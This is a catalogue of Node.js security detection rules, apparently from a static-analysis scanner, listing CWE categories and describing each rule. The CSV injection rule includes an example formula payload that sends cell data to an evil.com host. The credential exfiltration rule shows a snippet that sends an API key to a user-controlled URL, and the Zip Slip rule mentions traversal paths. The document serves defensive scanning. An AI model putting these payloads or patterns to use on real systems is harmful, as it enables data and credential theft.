# Nodejs (JavaScript) Security Security vulnerabilities and detection rules for nodejs framework. 52 rules across 41 CWE categories. - Total rules: 52 - CWE categories: 41 - Critical rules: 10 ## CWEs - **CWE-200**: Exposure of Sensitive Information to an Unauthorized Actor - **CWE-798**: Use of Hard-coded Credentials - **CWE-22**: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - **CWE-502**: Deserialization of Untrusted Data - **CWE-1104**: Use of Unmaintained Third Party Components - **CWE-1321**: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - **CWE-78**: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - **CWE-79**: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - **CWE-89**: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - **CWE-90**: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') - **CWE-94**: Improper Control of Generation of Code ('Code Injection') - **CWE-113**: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') - **CWE-117**: Improper Output Neutralization for Logs - **CWE-201**: Insertion of Sensitive Information Into Sent Data - **CWE-208**: Observable Timing Discrepancy - **CWE-209**: Generation of Error Message Containing Sensitive Information - **CWE-252**: Unchecked Return Value - **CWE-259**: Use of Hard-coded Password - **CWE-284**: Improper Access Control - **CWE-287**: Improper Authentication - **CWE-321**: Use of Hard-coded Cryptographic Key - **CWE-327**: Use of a Broken or Risky Cryptographic Algorithm - **CWE-347**: Improper Verification of Cryptographic Signature - **CWE-362**: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') - **CWE-391**: Unchecked Error Condition - **CWE-400**: Uncontrolled Resource Consumption - **CWE-434**: Unrestricted Upload of File with Dangerous Type - **CWE-489**: Active Debug Code - **CWE-521**: Weak Password Requirements - **CWE-532**: Insertion of Sensitive Information into Log File - **CWE-547**: Use of Hard-coded, Security-relevant Constants - **CWE-601**: URL Redirection to Untrusted Site ('Open Redirect') - **CWE-670**: Always-Incorrect Control Flow Implementation - **CWE-755**: Improper Handling of Exceptional Conditions - **CWE-778**: Insufficient Logging - **CWE-829**: Inclusion of Functionality from Untrusted Control Sphere - **CWE-862**: Missing Authorization - **CWE-916**: Use of Password Hash With Insufficient Computational Effort - **CWE-918**: Server-Side Request Forgery (SSRF) - **CWE-1069**: Empty Exception Block - **CWE-1236**: Improper Neutralization of Formula Elements in a CSV File ## Rules - **Avoid console.log when logging library exists** [low]: Detects console.log calls when a logging library exists. Only fires when winston, pino, bunyan, or log4js is detected. - **Command Injection via child_process** [CRITICAL]: Detects user input flowing to shell command execution functions. - **CSV Injection (Formula Injection)** [MEDIUM]: Detects untrusted data being placed into CSV output, which can enable formula injection when the CSV is opened in spreadsheet software like Excel or Google Sheets. CSV injection occurs when user-controlled data containing formula characters (=, +, -, @, \t, \r) is written to a CSV file without proper escaping. When opened in spreadsheet software, these formulas can execute arbitrary commands or exfiltrate data. Example attack payload: =HYPERLINK("http://evil.com/"&A1, "Click") This would create a clickable link that sends the contents of cell A1 to the attacker. - **Debug Mode Enabled in Production** [MEDIUM]: Detects hardcoded debug flags that expose sensitive information or enable debugging features in production. - **Empty Catch Block** [MEDIUM]: Detects empty catch blocks that silently swallow exceptions without any error handling, logging, or recovery logic. Empty catch blocks hide errors and make debugging extremely difficult. They can mask security issues, data corruption, and system failures. - **Hardcoded Secret in Environment Variable Fallback** [HIGH]: Detects hardcoded secrets used as fallback values for environment variables. Pattern: `process.env.SECRET || 'hardcoded-value'` This is dangerous because: - If the environment variable is not set, the hardcoded value is used - Developers often forget to set env vars in production - The hardcoded fallback may be committed to version control - Creates false sense of security ("we use env vars") This is particularly common with: - JWT secrets - API keys - Database passwords - Encryption keys - **Environment Variable Secret Exposure** [HIGH]: Detects when environment variables (which may contain secrets like API keys, passwords, tokens) are leaked through logging, HTTP responses, or external requests. Environment variables commonly store sensitive data: - API keys (AWS_ACCESS_KEY_ID, STRIPE_SECRET_KEY) - Database passwords (DB_PASSWORD, DATABASE_URL) - JWT secrets (JWT_SECRET) - OAuth tokens (GITHUB_TOKEN, SLACK_TOKEN) Leaking these values exposes credentials and allows unauthorized access. This rule uses taint flow analysis to detect when process.env flows to: - Logging functions (console.log, winston, etc.) - HTTP responses (res.send, res.json) - External HTTP requests - Client-side code (sent to browser) - **Information Exposure Through Error Messages** [MEDIUM]: Detects exposure of sensitive error information (error.message, error.stack, raw error objects) in HTTP responses. This can leak: - Internal file paths and directory structure - Database schema and query details - Third-party API endpoints and credentials - Software versions and technology stack - Business logic and validation rules Attackers use this information to: - Map internal architecture - Identify vulnerable dependencies - Craft targeted attacks - Bypass security controls - **Rate Limiting in Express.js** [MEDIUM]: Detects missing rate limiting on authentication and API endpoints to prevent brute force and DoS attacks. - **Unrestricted File Upload** [HIGH]: Detects multer file upload middleware used without proper fileFilter validation. Without fileFilter, attackers can upload any file type including executables, web shells, and other malicious files. - **Hardcoded Credentials** [HIGH]: Detects hardcoded credentials (passwords, API keys, tokens) in database connections and configuration objects. Credentials should be loaded from environment variables or secure secret management systems. This is different from CWE-259 (weak password): - CWE-798: Any credential hardcoded in source code (security risk) - CWE-259: Specifically weak/guessable passwords Even a "strong" password is a security risk if hardcoded because: - It gets committed to version control - It's difficult to rotate - It may leak via logs, error messages, or decompilation - No separation between dev/prod environments - **Hardcoded Development URLs** [LOW]: Detects hardcoded development URLs (localhost, 127.0.0.1) in production code that should use environment variables. - **Hardcoded High-Entropy Secrets Detection** [CRITICAL]: Detects hardcoded secrets with high entropy (randomness) that indicate real credentials. This rule uses entropy analysis to avoid false positives from: - Example/placeholder values ("keyboard cat", "your-secret-here") - Test fixtures ("test123", "fake-api-key") - Short/simple strings ("secret", "password") Only flags strings that appear to be REAL secrets: - High entropy (random-looking characters) - Sufficient length (20+ characters for API keys) - Known secret patterns (AWS keys, JWT tokens, private keys) Hardcoded real secrets pose security risks: - Exposure in version control - Difficult credential rotation - Accidental disclosure in logs/errors - No dev/prod separation - **Hardcoded Secrets in Security Operations** [CRITICAL]: Detects hardcoded secrets (API keys, tokens, passwords) flowing into security-sensitive operations. Uses taint analysis to track hardcoded secret strings from their definition to actual usage in authentication, API calls, or cryptographic operations. This approach reduces false positives by only flagging secrets that are actually used, not just defined in comments, examples, or unused variables. - **Hardcoded Weak Password** [HIGH]: Detects hardcoded weak passwords in database connections and configuration. Common weak passwords like "password", "admin", "root", "secret", etc. are easily guessed and should never be hardcoded in source code. This rule complements the high-entropy secrets detection by catching simple, well-known weak passwords that entropy-based detection would miss. - **HTTP Header Injection (Response Splitting)** [HIGH]: Detects user input flowing into HTTP response headers without CRLF sanitization. - **JWT Algorithm Confusion Attack** [HIGH]: Detects JWT verification without explicit algorithm specification, allowing "none" algorithm attacks that bypass authentication. - **JWT Decode Without Verification** [HIGH]: Detects use of jwt.decode() without proper verification, leading to authentication bypass. jwt.decode() decodes a JWT token WITHOUT verifying its signature. This means an attacker can create a token with any payload they want, and the application will trust it. Common mistakes: - Using jwt.decode() instead of jwt.verify() - Decoding token for inspection then trusting the payload - Using decoded payload for authorization decisions The decoded payload should NEVER be trusted for security decisions without verification. - **JWT Decode Used for User Identity (Authentication Bypass)** [CRITICAL]: Detects when jwt.decode() output is used for user identity, allowing complete authentication bypass since decode() does not verify signatures. - **JWT User-Controlled Secret** [CRITICAL]: Detects JWT signing or verification using user-controlled secrets. JWT security relies on keeping the secret key confidential. If an attacker can control or influence the secret used for signing or verification, they can: - Forge valid tokens for any user - Bypass authentication entirely - Impersonate other users This includes: - Using req.body.secret, req.query.secret directly as the JWT secret - Allowing users to provide custom secrets for verification - Using weak or predictable secrets from user input - **LDAP Injection** [HIGH]: Detects user input flowing to LDAP queries without escaping special characters. - **LLM Denial of Service** [MEDIUM]: Detects AI/LLM API calls that lack token limits, potentially enabling denial of service attacks. OWASP LLM04 - Model Denial of Service. DoS attacks against LLMs can: - Exhaust API quotas through unbounded token generation - Cause excessive costs via high token usage - Degrade service availability This rule detects: - Missing max_tokens limits on completions - Missing input length validation - Unbounded streaming responses NOTE: Rate limiting is covered separately by the Express rate-limiting rule. See: rules/javascript/projects/express/security/rate-limiting.yaml - **LLM Excessive Agency** [HIGH]: Detects LLM implementations with excessive autonomy that can lead to unintended consequences. OWASP LLM08 - Excessive Agency. Excessive agency occurs when LLMs are granted: - Ability to perform destructive operations without confirmation - Auto-execution of LLM-generated code or commands - Direct database modifications without approval - Financial transactions without human oversight - Email/communication sending without review This rule detects: - Auto-execution of tool calls without human approval - Destructive operations (delete, update, send) without confirmation - Autonomous agent loops without termination controls - Missing human-in-the-loop for sensitive operations - **LLM Insecure Output Handling** [HIGH]: Detects LLM/AI outputs being used directly in dangerous operations without proper validation or sanitization. OWASP LLM02 - Insecure Output Handling. LLM outputs should be treated as untrusted input since: - Prompt injection attacks can manipulate AI responses - LLMs can hallucinate and produce unexpected outputs - Model behavior may change between versions Dangerous operations include: - Code execution (eval, Function, vm.runInContext) - Command execution (exec, spawn, execSync) - SQL queries (database operations) - HTML rendering (innerHTML, document.write) - File operations (writeFile, unlink) - Network requests (fetch, axios with LLM-generated URLs) - **LLM Insecure Plugin Design** [HIGH]: Detects insecure plugin/function calling implementations in AI/LLM systems. OWASP LLM07 - Insecure Plugin Design. Insecure plugin design can lead to: - Remote code execution via tool/function calls - Unauthorized data access through plugins - Privilege escalation via overly permissive tools - SSRF through URL-handling plugins - Command injection through shell plugins This rule detects: - Function calling without input validation - Dynamic function execution from LLM output - Plugin execution without access control - Dangerous functions exposed to LLM - **LLM Model Theft** [HIGH]: Detects vulnerabilities that could lead to model theft or API key exposure. OWASP LLM10 - Model Theft. Model theft can occur through: - API key exposure in client-side code or logs - Model weights exposed via insecure endpoints - Model extraction attacks via unrestricted API access - Insecure model serialization and storage - Missing access controls on model endpoints This rule detects: - Hardcoded API keys in source code - API keys in client-side JavaScript - Model files served without authentication - Missing rate limiting on inference endpoints - Model parameters logged or exposed - **LLM Sensitive Information Disclosure** [HIGH]: Detects potential sensitive information disclosure in AI/LLM implementations. OWASP LLM06 - Sensitive Information Disclosure. Sensitive information can be leaked through: - PII (Personal Identifiable Information) in prompts - Credentials or secrets in prompts or system messages - Sensitive business data sent to third-party LLM APIs - Logging LLM conversations containing sensitive data - LLM responses exposed without filtering This rule detects: - Sensitive data patterns in LLM prompts - Credentials passed to AI APIs - Logging of LLM conversations - Database queries in prompts - PII patterns in messages - **LLM Supply Chain Vulnerabilities** [HIGH]: Detects potential supply chain vulnerabilities in AI/LLM implementations. OWASP LLM05 - Supply Chain Vulnerabilities. Supply chain attacks in AI can occur through: - Loading models from untrusted sources - Using unverified model weights or configurations - Third-party plugins/tools without integrity verification - Compromised training data sources - Insecure model serialization formats This rule detects: - Dynamic model loading from user input - Models loaded from HTTP (not HTTPS) - Missing integrity verification for model files - Pickle/unsafe deserialization of model data - **LLM Training Data Poisoning** [HIGH]: Detects untrusted or unvalidated data flowing into AI/LLM fine-tuning or training processes. OWASP LLM03 - Training Data Poisoning. Training data poisoning can: - Introduce backdoors into model behavior - Bias model outputs maliciously - Embed harmful content that appears in responses - Compromise model accuracy and reliability - Create security vulnerabilities in model behavior This rule detects: - User-provided data used directly in fine-tuning - External data sources used without validation - Training data loaded from untrusted URLs - Missing data validation before training - **Log Injection** [LOW]: Detects user input flowing to persistent log files without sanitization. - **Open Redirect via Untrusted URLs** [MEDIUM]: Detects user input flowing into redirect functions without URL validation. - **Path Traversal in File Operations** [CRITICAL]: Detects untrusted user input used in file system operations without proper validation. This can allow attackers to read or write arbitrary files on the server. - **Prototype Pollution via Object Manipulation** [HIGH]: Detects user input flowing to object merge operations without filtering dangerous keys. - **Prototype Pollution Gadget - Unsafe Property Trust** [MEDIUM]: Detects authorization checks that trust properties without verifying they are own properties. - **Race Condition in Concurrent Operations** [HIGH]: Detects time-of-check to time-of-use (TOCTOU) vulnerabilities where the state can change between checking a condition and acting on it. Common race conditions include: - Check balance, then deduct (balance can change in between) - Check inventory, then create order (stock can be sold out) - Check permissions, then perform action (permissions can change) - File existence check, then read/write (file can be modified) - **Resource Exhaustion via Exception Handling** [MEDIUM]: Detects code that allocates resources (files, connections, memory) within try blocks but fails to release them in finally blocks or error paths. When exceptions occur, resources may not be properly cleaned up, leading to resource exhaustion, memory leaks, and denial of service. - **Sensitive Data Exposure in Logs** [MEDIUM]: Detects when user-provided sensitive data (passwords, tokens, API keys, secrets, etc.) flows directly into logging functions without proper redaction or masking. This rule uses taint flow analysis to detect ACTUAL sensitive data being logged, not just variables with sensitive names. Only triggers when: 1. Data originates from user input (req.body, req.headers, etc.) 2. Contains sensitive field names (password, token, secret, etc.) 3. Flows into logging functions without sanitization Sensitive data in logs can lead to: - Credential exposure in log files or monitoring systems - Unauthorized access if logs are compromised - Compliance violations (PCI-DSS, GDPR, HIPAA) - Data breaches through log aggregation systems - **Sensitive Field Exposure in API Response** [CRITICAL]: Detects when sensitive data fields (passwords, tokens, secrets, API keys) are exposed through API endpoint responses. This commonly happens when: 1. Mapping user data with sensitive fields: `.map(u => ({ password: u.password }))` 2. Returning entire user objects: `res.json(user)` where user has password field 3. Including sensitive fields in response objects: `res.json({ password: user.password })` This is particularly dangerous when AI-generated code returns user collections without filtering sensitive fields, as in debug endpoints or admin panels. Security Impact: - Password hash exposure enabling offline cracking attacks - API key/token leakage allowing account takeover - Session token exposure enabling session hijacking - PII disclosure violating privacy regulations (GDPR, CCPA) - **SQL Injection via Database Queries** [CRITICAL]: Detects user input flowing into SQL queries without parameterization. - **Server-Side Request Forgery via HTTP Requests** [HIGH]: Detects user input flowing into HTTP request functions without URL validation. - **Timing Attack via Direct Cryptographic Comparison** [MEDIUM]: Detects direct string comparison of cryptographic values (HMAC, signatures, hashes) where timing attacks are practically exploitable. This rule focuses on HIGH-RISK patterns where timing attacks have been demonstrated in real-world attacks: - HMAC/signature verification (webhook signatures, JWT manual verification) - Hash comparison (when verifying pre-computed hashes) NOT flagged (low practical risk over network): - Password comparison: Network jitter (ms) overwhelms timing differences (ns). The real fix is using bcrypt/argon2 which handles this automatically. - General token comparison: Usually better addressed by secure token generation and proper session management. Timing attacks on cryptographic comparisons are practical because: 1. Attacker controls the input format exactly 2. Signatures have known structure (hex/base64) 3. Can be automated with statistical analysis 4. Have been used in real attacks (GitHub, Slack webhook bypasses) - **JavaScript Test with Trivial Always-Passing Assertion** [MEDIUM]: Detects JavaScript test functions that only contain trivial assertions or no assertions at all. These tests provide no actual validation and give false confidence about code correctness. Common patterns include expect(true).toBe(true), assert(true), or tests with only comments. - **Unchecked Return Value from Critical Operations** [HIGH]: Detects critical operations (file system, database, authentication) whose return values are not checked. Ignoring return values can lead to silent failures, data corruption, and security vulnerabilities. Critical operations that must have their return values checked include: - File system operations (write, delete, chmod) - Database operations (insert, update, delete) - Authentication/authorization checks - Cryptographic operations - **Unhandled Promise Rejection** [HIGH]: Detects promises that are created or called without proper rejection handlers. Unhandled promise rejections can cause application crashes, expose sensitive error information, and lead to inconsistent application state. In Node.js, unhandled promise rejections will terminate the process in future versions, making this a critical reliability and security issue. - **Unsafe Deserialization** [CRITICAL]: Detects user input flowing to unsafe deserialization functions like node-serialize or yaml.load(). - **Weak Password Policy** [HIGH]: Detects password validation that lacks proper complexity requirements, making accounts vulnerable to brute force attacks. - **Weak Password Storage** [HIGH]: Detects password hashing using weak algorithms (MD5, SHA1, plain SHA256) without proper salt or iteration, making passwords vulnerable to rainbow table and brute force attacks. - **Credential Exfiltration via User-Controlled Endpoint** [CRITICAL]: Detects when internal credentials (API keys, secrets, tokens) are sent in HTTP requests to user-controlled endpoints. This allows attackers to exfiltrate server credentials by providing a malicious webhook URL that captures the sensitive headers or body data. Example vulnerable pattern: ```javascript // User controls 'endpoint' from request const endpoint = req.body.webhookUrl; // Server sends its internal API key to attacker-controlled URL await fetch(endpoint, { headers: { 'X-API-Key': process.env.INTERNAL_API_KEY } }); ``` This is different from standard SSRF (which accesses internal resources) - here the attacker exfiltrates server credentials to their own controlled endpoint. - **Cross-Site Scripting (XSS) via Response** [HIGH]: Detects user input flowing into HTTP responses without proper encoding or sanitization. - **Zip Slip Path Traversal** [HIGH]: Detects unsafe extraction of zip/tar archives without path validation, which can lead to arbitrary file writes via path traversal (Zip Slip). Zip Slip is a form of path traversal attack where a malicious archive contains entries with paths like "../../../etc/passwd" that escape the intended extraction directory and overwrite arbitrary files on the system. Vulnerable patterns: 1. Extracting zip entries without validating the extracted path 2. Not checking if extracted path is inside target directory 3. Trusting entry.fileName from the archive 4. Not normalizing/resolving paths before extraction Impact: - Arbitrary file overwrite (RCE if overwriting .bashrc, cron jobs, etc.) - Configuration tampering - Code injection (overwriting source files) - Data exfiltration (overwriting log files) - **.nvmrc Specifies Outdated Node.js Version** [MEDIUM]: Detects .nvmrc files specifying outdated or end-of-life (EOL) Node.js versions. The .nvmrc file is used by Node Version Manager (nvm) to automatically switch to the correct Node.js version for a project. When this file specifies an outdated version, developers may be running insecure or incompatible Node.js versions in their development environments. Node.js version lifecycle (as of 2025): - Node 14.x: EOL April 2023 - Node 16.x: EOL September 2023 - Node 18.x: EOL April 2025 - Node 20.x: Maintenance LTS (until April 2026) - Node 22.x: Active LTS (until April 2027) - Node 23.x: Current (non-LTS) This causes: - Security vulnerabilities from missing patches - Inconsistent behavior between development and production - Compatibility issues with modern npm packages NOTE: This rule uses static version patterns. Review and update when new even-numbered LTS versions are released (typically October each year). Next update needed: October 2025 for Node.js 24 LTS. - **Node.js Version Mismatch Between Configuration Files** [MEDIUM]: Detects inconsistent Node.js versions across project configuration files. When .nvmrc specifies one Node.js version but Dockerfile uses a different version, it causes environment drift: - "Works on my machine" bugs (code works locally but fails in production) - Security inconsistencies (development may use patched version while production uses vulnerable version) - Dependency incompatibilities (npm packages may behave differently) - Debugging difficulties (hard to reproduce production issues locally) This rule detects mismatches between: - .nvmrc and Dockerfile - .nvmrc and package.json engines - .tool-versions and Dockerfile NOTE: Detection is handled by internal/frameworks/nodejs/detector.go. The actual recommended version comes from the docker-image-outdated finding which uses the Docker image API for real-time version data.